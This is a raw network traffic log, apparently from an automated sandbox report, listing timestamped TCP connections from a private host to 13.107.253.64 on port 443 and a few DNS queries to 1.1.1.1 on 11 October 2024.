Oct 11, 2024 20:30:02.781040907 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.781075001 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.781472921 CEST	57942	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.781491995 CEST	443	57942	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.783584118 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.783597946 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.783678055 CEST	57943	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.783684969 CEST	443	57943	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.788433075 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.788476944 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.788604975 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.791019917 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.791049957 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.791093111 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.791678905 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.791692972 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.791776896 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.791799068 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.797620058 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.797745943 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.797807932 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.798221111 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.798228025 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.798254967 CEST	57945	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.798259020 CEST	443	57945	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.800757885 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.800777912 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.800822020 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.801311016 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.801321030 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.829653025 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.829817057 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.829885006 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.830188990 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.830220938 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.830250025 CEST	57944	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.830265999 CEST	443	57944	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.836096048 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.836121082 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.836210966 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.836690903 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.836710930 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.845515966 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.845594883 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.845648050 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.845757008 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.845762968 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.845773935 CEST	57946	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.845777035 CEST	443	57946	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.848453045 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.848462105 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:02.848841906 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.872347116 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:02.872368097 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.487813950 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.488801956 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.488821983 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.490108013 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.490113974 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.494020939 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.494538069 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.494560957 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.494961023 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.494966030 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.498773098 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.499264956 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.499284983 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.499317884 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.499883890 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.499890089 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.500109911 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.500125885 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.500571966 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.500576019 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.504885912 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.505517960 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.505527973 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.506156921 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.506161928 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.598731041 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.598803997 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.598913908 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.599157095 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.599157095 CEST	57948	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.599173069 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.599175930 CEST	443	57948	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.602029085 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.602063894 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.602122068 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.602266073 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.602276087 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.606192112 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.606245995 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.606298923 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.606400013 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.606409073 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.606416941 CEST	57950	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.606420994 CEST	443	57950	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.608601093 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.608612061 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.608872890 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.609025002 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.609034061 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.611838102 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.611990929 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612049103 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612109900 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612109900 CEST	57951	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612118006 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612127066 CEST	443	57951	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612396955 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612467051 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612518072 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612634897 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612639904 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.612773895 CEST	57949	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.612777948 CEST	443	57949	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.614795923 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.614816904 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.614912033 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.614967108 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.614976883 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.615045071 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.615210056 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.615211010 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.615219116 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.615231991 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.618860006 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.618998051 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.619076014 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.619143963 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.619144917 CEST	57952	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.619153976 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.619163990 CEST	443	57952	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.620853901 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.620874882 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:03.620980978 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.621098042 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:03.621108055 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.271374941 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.272140026 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.279689074 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.280181885 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.296808958 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.296885967 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.297472000 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.297492981 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.298254013 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.298274994 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.298759937 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.298768997 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.308432102 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.308449030 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.308855057 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.308861971 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.315735102 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.317579031 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.317588091 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.318061113 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.318064928 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.318545103 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.318583965 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.318902969 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.318912983 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.404200077 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.404345989 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.404402018 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.404494047 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.404512882 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.404526949 CEST	57953	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.404534101 CEST	443	57953	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.411005974 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.411058903 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.411128998 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.412045002 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.412070990 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.416486025 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.416538000 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.416577101 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.416743994 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.416759014 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.416769981 CEST	57954	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.416775942 CEST	443	57954	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.420638084 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.420768023 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.420834064 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.421237946 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.421237946 CEST	57957	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.421260118 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.421282053 CEST	443	57957	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.425101042 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.425204039 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.425283909 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.425523043 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.425563097 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.425760031 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.425787926 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.425832033 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.426268101 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.426280975 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.432156086 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.432234049 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.432276011 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.432394981 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.432408094 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.432418108 CEST	57955	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.432423115 CEST	443	57955	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.436285019 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.436316967 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.436374903 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.436732054 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.436745882 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.452905893 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.453073978 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.453139067 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.453397989 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.453428984 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.453454971 CEST	57956	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.453470945 CEST	443	57956	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.457356930 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.457364082 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.457413912 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.457525015 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:04.457535982 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:04.965382099 CEST	58990	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:30:04.970678091 CEST	53	58990	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:04.970767021 CEST	58990	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:30:04.970767021 CEST	58990	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:30:04.975559950 CEST	53	58990	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:05.087485075 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.088002920 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.088053942 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.088481903 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.088495016 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.092458010 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.092837095 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.092844963 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.093326092 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.093329906 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.112068892 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.112406015 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.112498045 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.112763882 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.112782001 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.118253946 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.118578911 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.118598938 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.119414091 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.119417906 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.129678965 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.130326033 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.130326033 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.130332947 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.130342007 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.198925018 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.198973894 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.199100018 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.199220896 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.199220896 CEST	57958	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.199239016 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.199249983 CEST	443	57958	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.201828003 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.201857090 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.202166080 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.202239037 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.202249050 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.202284098 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.202450991 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.202588081 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.202622890 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.202622890 CEST	57960	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.202632904 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.202640057 CEST	443	57960	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.204668045 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.204701900 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.204833984 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.204968929 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.204982996 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.228379011 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.228466034 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.228532076 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.228601933 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.228614092 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.228622913 CEST	57959	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.228626966 CEST	443	57959	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.230465889 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.230509996 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.230618000 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.230705976 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.230705976 CEST	57962	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.230724096 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.230731964 CEST	443	57962	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.231421947 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.231470108 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.231656075 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.231781006 CEST	58993	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.231798887 CEST	443	58993	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.232570887 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.232582092 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.232723951 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.232831001 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.232845068 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.349915028 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.349951029 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.350039005 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.350310087 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.350310087 CEST	57961	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.350318909 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.350327015 CEST	443	57961	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.356076002 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.356093884 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.356601000 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.357147932 CEST	58995	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.357167006 CEST	443	58995	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.441292048 CEST	53	58990	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:05.443272114 CEST	58990	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:30:05.448415995 CEST	53	58990	1.1.1.1	192.168.2.4
Oct 11, 2024 20:30:05.448471069 CEST	58990	53	192.168.2.4	1.1.1.1
Oct 11, 2024 20:30:05.853111982 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.853703976 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.853723049 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.854342937 CEST	58991	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.854347944 CEST	443	58991	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.868172884 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.868520975 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.868531942 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.869015932 CEST	58992	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.869020939 CEST	443	58992	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.905076027 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.905431986 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.905473948 CEST	443	58994	13.107.253.64	192.168.2.4
Oct 11, 2024 20:30:05.905967951 CEST	58994	443	192.168.2.4	13.107.253.64
Oct 11, 2024 20:30:05.905975103 CEST	443	58994	13.107.253.64	192.168.2.4
